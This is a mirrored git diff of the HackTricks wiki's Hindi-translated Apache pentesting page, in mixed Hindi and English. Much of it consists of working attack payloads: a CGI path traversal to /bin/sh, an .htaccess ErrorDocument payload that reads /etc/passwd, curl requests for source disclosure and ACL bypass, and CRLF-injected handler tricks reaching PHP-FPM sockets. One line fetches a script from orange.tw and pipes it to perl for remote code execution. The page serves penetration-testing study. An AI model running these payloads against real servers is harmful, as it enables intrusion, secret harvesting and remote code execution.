mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/linux-hardening/privilege-escalation/README.md', 's
This commit is contained in:
parent
b307731e72
commit
a0b8743639
File diff suppressed because it is too large
Load Diff
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Executable PHP extensions
|
||||
## Executable PHP एक्सटेंशन्स
|
||||
|
||||
जांचें कि कौन सी एक्सटेंशन Apache सर्वर को निष्पादित कर रही है। उन्हें खोजने के लिए आप यह निष्पादित कर सकते हैं:
|
||||
जाँचें कि Apache सर्वर कौन सी PHP एक्सटेंशन्स चला रहा है। इन्हें खोजने के लिए आप निम्न कमांड चला सकते हैं:
|
||||
```bash
|
||||
grep -R -B1 "httpd-php" /etc/apache2
|
||||
```
|
||||
इसके अलावा, कुछ स्थान जहाँ आप इस कॉन्फ़िगरेशन को पा सकते हैं:
|
||||
इसके अलावा, कुछ जगहें जहाँ आप यह configuration पा सकते हैं:
|
||||
```bash
|
||||
/etc/apache2/mods-available/php5.conf
|
||||
/etc/apache2/mods-enabled/php5.conf
|
||||
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
|
||||
uid=1(daemon) gid=1(daemon) groups=1(daemon)
|
||||
Linux
|
||||
```
|
||||
## LFI via .htaccess ErrorDocument file provider (ap_expr)
|
||||
|
||||
यदि आप किसी डायरेक्टरी की .htaccess को नियंत्रित कर सकते हैं और उस path के लिए AllowOverride में FileInfo शामिल है, तो आप ErrorDocument के अंदर ap_expr के file() फ़ंक्शन का उपयोग करके 404 responses को मनमाने स्थानीय फ़ाइल पढ़ने में बदल सकते हैं।
|
||||
|
||||
- आवश्यकताएँ:
|
||||
- Apache 2.4 जिसमें expression parser (ap_expr) सक्षम हो (2.4 में default)।
|
||||
- vhost/dir को .htaccess को ErrorDocument सेट करने की अनुमति देनी चाहिए (AllowOverride FileInfo)।
|
||||
- Apache worker user के पास लक्षित फ़ाइल पर पढ़ने की अनुमति होनी चाहिए।
|
||||
|
||||
.htaccess payload:
|
||||
```apache
|
||||
# Optional marker header just to identify your tenant/request path
|
||||
Header always set X-Debug-Tenant "demo"
|
||||
# On any 404 under this directory, return the contents of an absolute filesystem path
|
||||
ErrorDocument 404 %{file:/etc/passwd}
|
||||
```
|
||||
उस डायरेक्टरी के नीचे किसी भी मौजूद न होने वाले path का अनुरोध करके ट्रिगर करें, उदाहरण के लिए userdir-style hosting का दुरुपयोग करते समय:
|
||||
```bash
|
||||
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
|
||||
```
|
||||
Notes and tips:
|
||||
- केवल absolute paths ही काम करते हैं। सामग्री 404 handler के response body के रूप में लौटाई जाती है।
|
||||
- प्रभावी पढ़ने की permissions Apache user की होती हैं (आम तौर पर www-data/apache)। डिफ़ॉल्ट सेटअप में आप /root/* या /etc/shadow नहीं पढ़ पाएंगे।
|
||||
- यहां तक कि अगर .htaccess root-owned है, अगर parent directory tenant-owned है और rename की अनुमति देता है, तो आप मूल .htaccess का नाम बदलकर अपना replacement SFTP/FTP के जरिए अपलोड कर सकते हैं:
|
||||
- rename .htaccess .htaccess.bk
|
||||
- put your malicious .htaccess
|
||||
- इसे DocumentRoot या vhost config paths के अंतर्गत application source पढ़ने के लिए उपयोग करें ताकि secrets (DB creds, API keys, आदि) harvest किए जा सकें।
|
||||
|
||||
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
|
||||
|
||||
इन प्रकार के हमलों को [**Orange द्वारा इस ब्लॉग पोस्ट में**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) पेश किया गया है और निम्नलिखित एक सारांश है। "confusion" हमला मूल रूप से इस बात का लाभ उठाता है कि कई मॉड्यूल जो एक साथ काम करते हैं, एक Apache बनाने के लिए, पूरी तरह से समन्वयित नहीं होते हैं और उनमें से कुछ द्वारा कुछ अप्रत्याशित डेटा को संशोधित करने से बाद के मॉड्यूल में एक भेद्यता उत्पन्न हो सकती है।
|
||||
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
|
||||
|
||||
### Filename Confusion
|
||||
|
||||
#### Truncation
|
||||
|
||||
**`mod_rewrite`** `r->filename` की सामग्री को `?` के बाद ट्रिम करेगा ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). यह पूरी तरह से गलत नहीं है क्योंकि अधिकांश मॉड्यूल `r->filename` को एक URL के रूप में मानते हैं। लेकिन अन्य अवसरों पर इसे फ़ाइल पथ के रूप में माना जाएगा, जो एक समस्या उत्पन्न करेगा।
|
||||
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
|
||||
|
||||
- **Path Truncation**
|
||||
|
||||
`mod_rewrite` का दुरुपयोग करना संभव है जैसे कि निम्नलिखित नियम उदाहरण में फ़ाइल सिस्टम के अंदर अन्य फ़ाइलों तक पहुँचने के लिए, अपेक्षित पथ के अंतिम भाग को हटाकर बस एक `?` जोड़ना:
|
||||
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
|
||||
@ -48,7 +76,7 @@ curl http://server/user/orange%2Fsecret.yml%3F
|
||||
```
|
||||
- **Mislead RewriteFlag Assignment**
|
||||
|
||||
निम्नलिखित री-राइट नियम में, जब तक URL .php पर समाप्त होता है, इसे php के रूप में माना जाएगा और निष्पादित किया जाएगा। इसलिए, यह संभव है कि `?` चर के बाद .php पर समाप्त होने वाला एक URL भेजा जाए जबकि पथ में एक अलग प्रकार की फ़ाइल (जैसे एक छवि) को लोड किया जा रहा हो जिसमें दुर्भावनापूर्ण php कोड हो:
|
||||
नीचे दिए गए rewrite rule में, जब तक URL .php पर समाप्त होता है, उसे php के रूप में माना जाएगा और निष्पादित किया जाएगा। इसलिए, यह संभव है कि आप `?` char के बाद .php पर समाप्त होने वाला एक URL भेजें, जबकि path में किसी अलग प्रकार की फ़ाइल (जैसे एक image) को लोड कर रहे हों, जिसके अंदर दुर्भावनापूर्ण php code मौजूद हो:
|
||||
```bash
|
||||
RewriteEngine On
|
||||
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
|
||||
@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
|
||||
```
|
||||
#### **ACL Bypass**
|
||||
|
||||
यह संभव है कि उपयोगकर्ता उन फ़ाइलों तक पहुँच सके जिन्हें उसे पहुँचने की अनुमति नहीं होनी चाहिए, भले ही पहुँच को इन कॉन्फ़िगरेशन के साथ अस्वीकृत किया जाना चाहिए:
|
||||
ऐसी कॉन्फ़िगरेशन के साथ भी जिनमें एक्सेस अस्वीकार किया जाना चाहिए, उपयोगकर्ता उन फ़ाइलों तक पहुँच सकता है जिन तक उसे पहुँचने की अनुमति नहीं होनी चाहिए:
|
||||
```xml
|
||||
<Files "admin.php">
|
||||
AuthType Basic
|
||||
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
|
||||
Require valid-user
|
||||
</Files>
|
||||
```
|
||||
यह इसलिए है क्योंकि डिफ़ॉल्ट रूप से PHP-FPM उन URL को प्राप्त करेगा जो `.php` पर समाप्त होते हैं, जैसे `http://server/admin.php%3Fooo.php` और क्योंकि PHP-FPM `?` के बाद की किसी भी चीज़ को हटा देगा, पूर्ववर्ती URL `/admin.php` को लोड करने की अनुमति देगा, भले ही पूर्ववर्ती नियम ने इसे प्रतिबंधित किया हो।
|
||||
यह इसलिए है क्योंकि डिफ़ॉल्ट रूप से PHP-FPM उन URLs को प्राप्त करेगा जो `.php` पर समाप्त होते हैं, जैसे `http://server/admin.php%3Fooo.php` और चूँकि PHP-FPM चर `?` के बाद की किसी भी चीज़ को हटा देता है, पिछला URL `/admin.php` लोड करने की अनुमति देगा भले ही पिछला नियम इसे प्रतिबंधित करता था।
|
||||
|
||||
### DocumentRoot Confusion
|
||||
### DocumentRoot भ्रम
|
||||
```bash
|
||||
DocumentRoot /var/www/html
|
||||
RewriteRule ^/html/(.*)$ /$1.html
|
||||
```
|
||||
एक मजेदार तथ्य यह है कि Apache का पिछला पुनर्लेखन दस्तावेज़ की जड़ और रूट दोनों से फ़ाइल तक पहुँचने की कोशिश करेगा। इसलिए, `https://server/abouth.html` के लिए एक अनुरोध फ़ाइल को फ़ाइल प्रणाली में `/var/www/html/about.html` और `/about.html` में जांचेगा। जिसे मूल रूप से फ़ाइल प्रणाली में फ़ाइलों तक पहुँचने के लिए दुरुपयोग किया जा सकता है।
|
||||
A fun fact about Apache is that the previous rewrite will try to access the file from both the documentRoot and from root. So, a request to `https://server/abouth.html` will check for the file in `/var/www/html/about.html` and `/about.html` in the file system. Which basically can be abused to access files in the file system.
|
||||
|
||||
#### **सर्वर-साइड स्रोत कोड का खुलासा**
|
||||
|
||||
- **CGI स्रोत कोड का खुलासा करें**
|
||||
- **CGI स्रोत कोड का खुलासा**
|
||||
|
||||
केवल अंत में एक %3F जोड़ना cgi मॉड्यूल के स्रोत कोड को लीक करने के लिए पर्याप्त है:
|
||||
केवल अंत में %3F जोड़ना एक cgi मॉड्यूल का स्रोत कोड leak करने के लिए पर्याप्त है:
|
||||
```bash
|
||||
curl http://server/cgi-bin/download.cgi
|
||||
# the processed result from download.cgi
|
||||
@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
|
||||
# ...
|
||||
# # the source code of download.cgi
|
||||
```
|
||||
- **PHP स्रोत कोड का खुलासा करें**
|
||||
- **Disclose PHP Source Code**
|
||||
|
||||
यदि एक सर्वर में विभिन्न डोमेन हैं, जिनमें से एक स्थिर डोमेन है, तो इसका दुरुपयोग करके फ़ाइल प्रणाली को पार किया जा सकता है और php कोड लीक किया जा सकता है:
|
||||
यदि किसी सर्वर के पास विभिन्न डोमेन हों और उनमें से एक static domain हो, तो इसका दुरुपयोग फ़ाइल सिस्टम को traverse करने और php code को leak करने के लिए किया जा सकता है:
|
||||
```bash
|
||||
# Leak the config.php file of the www.local domain from the static.local domain
|
||||
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
|
||||
# the source code of config.php
|
||||
```
|
||||
#### **स्थानीय गैजेट्स हेरफेर**
|
||||
#### **Local Gadgets Manipulation**
|
||||
|
||||
पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से फ़ाइल सिस्टम पर अधिकांश पहुँच को अस्वीकृत कर दिया जाएगा जैसा कि Apache HTTP Server के [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) में है:
|
||||
पिछले हमले की मुख्य समस्या यह है कि डिफ़ॉल्ट रूप से फ़ाइलसिस्टम पर अधिकांश एक्सेस अस्वीकार कर दिए जाते हैं, जैसा कि Apache HTTP Server’s [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
|
||||
```xml
|
||||
<Directory />
|
||||
AllowOverride None
|
||||
Require all denied
|
||||
</Directory>
|
||||
```
|
||||
हालांकि, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) ऑपरेटिंग सिस्टम डिफ़ॉल्ट रूप से `/usr/share` की अनुमति देते हैं:
|
||||
हालाँकि, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) ऑपरेटिंग सिस्टम डिफ़ॉल्ट रूप से `/usr/share` की अनुमति देते हैं:
|
||||
```xml
|
||||
<Directory /usr/share>
|
||||
AllowOverride None
|
||||
Require all granted
|
||||
</Directory>
|
||||
```
|
||||
इसलिए, इन वितरणों में `/usr/share` के अंदर स्थित फ़ाइलों का **दुरुपयोग** करना संभव होगा।
|
||||
Therefore, it would be possible to **इन वितरणों में `/usr/share` के अंदर स्थित फ़ाइलों का दुरुपयोग करना संभव होगा।**
|
||||
|
||||
**स्थानीय गैजेट से जानकारी का खुलासा**
|
||||
**Local Gadget to Information Disclosure**
|
||||
|
||||
- **Apache HTTP Server** के साथ **websocketd** संवेदनशील पर्यावरण चर को लीक कर सकता है, जो **/usr/share/doc/websocketd/examples/php/** पर **dump-env.php** स्क्रिप्ट को उजागर कर सकता है।
|
||||
- **Nginx** या **Jetty** वाले सर्वर अपने डिफ़ॉल्ट वेब रूट के माध्यम से संवेदनशील वेब एप्लिकेशन जानकारी (जैसे, **web.xml**) को उजागर कर सकते हैं, जो **/usr/share** के तहत रखे गए हैं:
|
||||
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**, जो संवेदनशील environment variables को leak कर सकता है।
|
||||
- Servers with **Nginx** or **Jetty** might expose sensitive web application information (e.g., **web.xml**) through their default web roots placed under **/usr/share**:
|
||||
- **/usr/share/nginx/html/**
|
||||
- **/usr/share/jetty9/etc/**
|
||||
- **/usr/share/jetty9/webapps/**
|
||||
|
||||
**स्थानीय गैजेट से XSS**
|
||||
**Local Gadget to XSS**
|
||||
|
||||
- **LibreOffice स्थापित** Ubuntu डेस्कटॉप पर, सहायता फ़ाइलों की भाषा स्विच सुविधा का दुरुपयोग **Cross-Site Scripting (XSS)** का कारण बन सकता है। **/usr/share/libreoffice/help/help.html** पर URL को बदलने से दुर्भावनापूर्ण पृष्ठों या पुराने संस्करणों की ओर पुनर्निर्देशित किया जा सकता है, **unsafe RewriteRule** के माध्यम से।
|
||||
- On Ubuntu Desktop with **LibreOffice installed**, exploiting the help files' language switch feature can lead to **Cross-Site Scripting (XSS)**. Manipulating the URL at **/usr/share/libreoffice/help/help.html** can redirect to malicious pages or older versions through **unsafe RewriteRule**.
|
||||
|
||||
**स्थानीय गैजेट से LFI**
|
||||
**Local Gadget to LFI**
|
||||
|
||||
- यदि PHP या कुछ फ्रंट-एंड पैकेज जैसे **JpGraph** या **jQuery-jFeed** स्थापित हैं, तो उनकी फ़ाइलों का दुरुपयोग संवेदनशील फ़ाइलों को पढ़ने के लिए किया जा सकता है जैसे **/etc/passwd**:
|
||||
- If PHP or certain front-end packages like **JpGraph** or **jQuery-jFeed** are installed, their files can be exploited to read sensitive files like **/etc/passwd**:
|
||||
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
|
||||
- **/usr/share/javascript/jquery-jfeed/proxy.php**
|
||||
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
|
||||
|
||||
**स्थानीय गैजेट से SSRF**
|
||||
**Local Gadget to SSRF**
|
||||
|
||||
- **MagpieRSS's magpie_debug.php** का उपयोग करते हुए **/usr/share/php/magpierss/scripts/magpie_debug.php** पर, एक SSRF भेद्यता आसानी से बनाई जा सकती है, जो आगे के दुरुपयोग के लिए एक गेटवे प्रदान करती है।
|
||||
- Utilizing **MagpieRSS's magpie_debug.php** at **/usr/share/php/magpierss/scripts/magpie_debug.php**, an SSRF vulnerability can be easily created, providing a gateway to further exploits.
|
||||
|
||||
**स्थानीय गैजेट से RCE**
|
||||
**Local Gadget to RCE**
|
||||
|
||||
- **Remote Code Execution (RCE)** के अवसर विशाल हैं, जैसे कि एक पुराना **PHPUnit** या **phpLiteAdmin**। इनका दुरुपयोग मनमाने कोड को निष्पादित करने के लिए किया जा सकता है, जो स्थानीय गैजेट्स के हेरफेर की व्यापक संभावनाओं को प्रदर्शित करता है।
|
||||
- Opportunities for **Remote Code Execution (RCE)** are vast, with vulnerable installations like an outdated **PHPUnit** or **phpLiteAdmin**. These can be exploited to execute arbitrary code, showcasing the extensive potential of local gadgets manipulation.
|
||||
|
||||
#### **स्थानीय गैजेट्स से जेलब्रेक**
|
||||
#### **Jailbreak from Local Gadgets**
|
||||
|
||||
स्थानीय फ़ोल्डरों से जेलब्रेक करना भी संभव है, जैसे कि उन फ़ोल्डरों में स्थापित सॉफ़्टवेयर द्वारा उत्पन्न सिमलिंक का पालन करके:
|
||||
It's also possible to jailbreak from the allowed folders by following symlinks generated by installed software in those folders, like:
|
||||
|
||||
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
|
||||
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
|
||||
@ -158,53 +186,53 @@ Require all granted
|
||||
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
|
||||
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
|
||||
|
||||
इसके अलावा, सिमलिंक का दुरुपयोग करके **Redmine में RCE प्राप्त करना संभव था।**
|
||||
Moreover, abusing symlinks it was possible to obtain **RCE in Redmine.**
|
||||
|
||||
### हैंडलर भ्रम <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
|
||||
|
||||
यह हमला `AddHandler` और `AddType` निर्देशों के बीच कार्यक्षमता के ओवरलैप का लाभ उठाता है, जिन्हें **PHP प्रोसेसिंग** सक्षम करने के लिए उपयोग किया जा सकता है। मूल रूप से, ये निर्देश सर्वर की आंतरिक संरचना में विभिन्न क्षेत्रों (`r->handler` और `r->content_type` क्रमशः) को प्रभावित करते थे। हालाँकि, विरासत कोड के कारण, Apache इन निर्देशों को कुछ स्थितियों के तहत परस्पर संभालता है, यदि पूर्व सेट है और बाद वाला नहीं है तो `r->content_type` को `r->handler` में परिवर्तित करता है।
|
||||
This attack exploits the overlap in functionality between the `AddHandler` and `AddType` directives, which both can be used to **enable PHP processing**. Originally, these directives affected different fields (`r->handler` and `r->content_type` respectively) in the server's internal structure. However, due to legacy code, Apache handles these directives interchangeably under certain conditions, converting `r->content_type` into `r->handler` if the former is set and the latter is not.
|
||||
|
||||
इसके अलावा, Apache HTTP Server (`server/config.c#L420`) में, यदि `r->handler` `ap_run_handler()` को निष्पादित करने से पहले खाली है, तो सर्वर **`r->content_type` को हैंडलर के रूप में उपयोग करता है**, प्रभावी रूप से `AddType` और `AddHandler` को प्रभाव में समान बना देता है।
|
||||
Moreover, in the Apache HTTP Server (`server/config.c#L420`), if `r->handler` is empty before executing `ap_run_handler()`, the server **uses `r->content_type` as the handler**, effectively making `AddType` and `AddHandler` identical in effect.
|
||||
|
||||
#### **PHP स्रोत कोड का खुलासा करने के लिए हैंडलर को ओवरराइट करें**
|
||||
#### **Overwrite Handler to Disclose PHP Source Code**
|
||||
|
||||
[**इस वार्ता**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) में एक भेद्यता प्रस्तुत की गई थी जहां एक ग्राहक द्वारा भेजा गया गलत `Content-Length` Apache को गलती से **PHP स्रोत कोड** लौटाने का कारण बन सकता है। यह ModSecurity और Apache Portable Runtime (APR) के साथ एक त्रुटि हैंडलिंग समस्या के कारण था, जहां एक डबल प्रतिक्रिया `r->content_type` को `text/html` पर ओवरराइट करने का कारण बनती है।\
|
||||
क्योंकि ModSecurity सही ढंग से लौटाए गए मानों को संभाल नहीं करता है, यह PHP कोड लौटाएगा और इसे व्याख्या नहीं करेगा।
|
||||
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), was presented a vulnerability where an incorrect `Content-Length` sent by a client can cause Apache to mistakenly **return the PHP source code**. This was because an error handling issue with ModSecurity and the Apache Portable Runtime (APR), where a double response leads to overwriting `r->content_type` to `text/html`.\
|
||||
Because ModSecurity doesn't properly handle return values, it would return the PHP code and won't interpret it.
|
||||
|
||||
#### **XXXX के लिए हैंडलर को ओवरराइट करें**
|
||||
#### **Overwrite Handler to XXXX**
|
||||
|
||||
TODO: Orange ने अभी तक इस भेद्यता का खुलासा नहीं किया है
|
||||
TODO: Orange hasn't disclose this vulnerability yet
|
||||
|
||||
### **मनमाने हैंडलर्स को सक्रिय करें**
|
||||
### **Invoke Arbitrary Handlers**
|
||||
|
||||
यदि एक हमलावर सर्वर प्रतिक्रिया में **`Content-Type`** हेडर को नियंत्रित करने में सक्षम है, तो वह **मनमाने मॉड्यूल हैंडलर्स** को सक्रिय करने में सक्षम होगा। हालाँकि, जब हमलावर इसे नियंत्रित करता है, तो अधिकांश अनुरोध की प्रक्रिया पूरी हो चुकी होगी। हालाँकि, यह **`Location` हेडर का दुरुपयोग करके अनुरोध प्रक्रिया को पुनः प्रारंभ करना संभव है** क्योंकि यदि **r** द्वारा लौटाया गया `Status` 200 है और `Location` हेडर `/` से शुरू होता है, तो प्रतिक्रिया को सर्वर-साइड रीडायरेक्शन के रूप में माना जाता है और इसे संसाधित किया जाना चाहिए।
|
||||
If an attacker is able to control the **`Content-Type`** header in a server response he is going to be able to **invoke arbitrary module handlers**. However, by the point the attacker controls this, most of the process of the request will be done. However, it's possible to **restart the request process abusing the `Location` header** because if the **r**eturned `Status` is 200 and the `Location` header starts with a `/`, the response is treated as a Server-Side Redirection and should be processed
|
||||
|
||||
[RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (CGI के बारे में विनिर्देश) में [धारा 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) एक स्थानीय रीडायरेक्ट प्रतिक्रिया व्यवहार को परिभाषित करता है:
|
||||
According to [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (specification about CGI) in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) defines a Local Redirect Response behavior:
|
||||
|
||||
> CGI स्क्रिप्ट एक स्थान हेडर फ़ील्ड में एक URI पथ और क्वेरी-स्ट्रींग ('local-pathquery') लौट सकती है। यह सर्वर को यह संकेत देता है कि इसे निर्दिष्ट पथ का उपयोग करके अनुरोध को फिर से संसाधित करना चाहिए।
|
||||
> The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
|
||||
|
||||
इसलिए, इस हमले को करने के लिए निम्नलिखित में से एक भेद्यता की आवश्यकता है:
|
||||
Therefore, to perform this attack is needed one of the following vulns:
|
||||
|
||||
- CGI प्रतिक्रिया हेडर में CRLF इंजेक्शन
|
||||
- प्रतिक्रिया हेडर के पूर्ण नियंत्रण के साथ SSRF
|
||||
- CRLF Injection in the CGI response headers
|
||||
- SSRF with complete control of the response headers
|
||||
|
||||
#### **जानकारी के खुलासे के लिए मनमाना हैंडलर**
|
||||
#### **Arbitrary Handler to Information Disclosure**
|
||||
|
||||
उदाहरण के लिए `/server-status` केवल स्थानीय रूप से सुलभ होना चाहिए:
|
||||
For example `/server-status` should only be accessible locally:
|
||||
```xml
|
||||
<Location /server-status>
|
||||
SetHandler server-status
|
||||
Require local
|
||||
</Location>
|
||||
```
|
||||
इसे `Content-Type` को `server-status` सेट करके और Location हेडर को `/` से शुरू करके एक्सेस करना संभव है।
|
||||
इसे एक्सेस किया जा सकता है अगर `Content-Type` को `server-status` पर सेट किया जाए और Location header `/` से शुरू हो।
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:server-status %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **मनमाने हैंडलर से पूर्ण SSRF**
|
||||
#### **Arbitrary Handler से Full SSRF**
|
||||
|
||||
किसी भी URL पर किसी भी प्रोटोकॉल तक पहुँचने के लिए `mod_proxy` पर रीडायरेक्ट करना:
|
||||
```
|
||||
@ -215,20 +243,20 @@ http://example.com/%3F
|
||||
%0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
हालांकि, `X-Forwarded-For` हेडर जोड़ा गया है जिससे क्लाउड मेटाडेटा एंडपॉइंट्स तक पहुंच को रोका जा सके।
|
||||
हालाँकि, `X-Forwarded-For` header जोड़ा गया है जिससे cloud metadata endpoints तक पहुँच रोकी जा रही है।
|
||||
|
||||
#### **स्थानीय यूनिक्स डोमेन सॉकेट तक पहुंचने के लिए मनमाना हैंडलर**
|
||||
#### **Arbitrary Handler to Access Local Unix Domain Socket**
|
||||
|
||||
PHP-FPM के स्थानीय यूनिक्स डोमेन सॉकेट तक पहुंचें ताकि `/tmp/` में स्थित PHP बैकडोर को निष्पादित किया जा सके:
|
||||
PHP-FPM के local Unix Domain Socket तक पहुँच कर `/tmp/` में स्थित PHP backdoor को execute करें:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo %0d%0a
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
#### **मनमाने हैंडलर से RCE**
|
||||
#### **Arbitrary Handler to RCE**
|
||||
|
||||
आधिकारिक [PHP Docker](https://hub.docker.com/_/php) इमेज में PEAR (`Pearcmd.php`), एक कमांड-लाइन PHP पैकेज प्रबंधन उपकरण शामिल है, जिसका दुरुपयोग RCE प्राप्त करने के लिए किया जा सकता है:
|
||||
आधिकारिक [PHP Docker](https://hub.docker.com/_/php) image में PEAR (`Pearcmd.php`) शामिल है, जो एक command-line PHP package management tool है, जिसे RCE प्राप्त करने के लिए दुरुपयोग किया जा सकता है:
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
|
||||
@ -237,10 +265,13 @@ orange.tw/x|perl
|
||||
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
|
||||
%0d%0a
|
||||
```
|
||||
चेक करें [**Docker PHP LFI सारांश**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), जिसे [Phith0n](https://x.com/phithon_xg) ने इस तकनीक के विवरण के लिए लिखा है।
|
||||
इस तकनीक के विवरण के लिए [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), जिसे [Phith0n](https://x.com/phithon_xg) ने लिखा है, देखें।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
|
||||
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
|
||||
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
|
||||
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user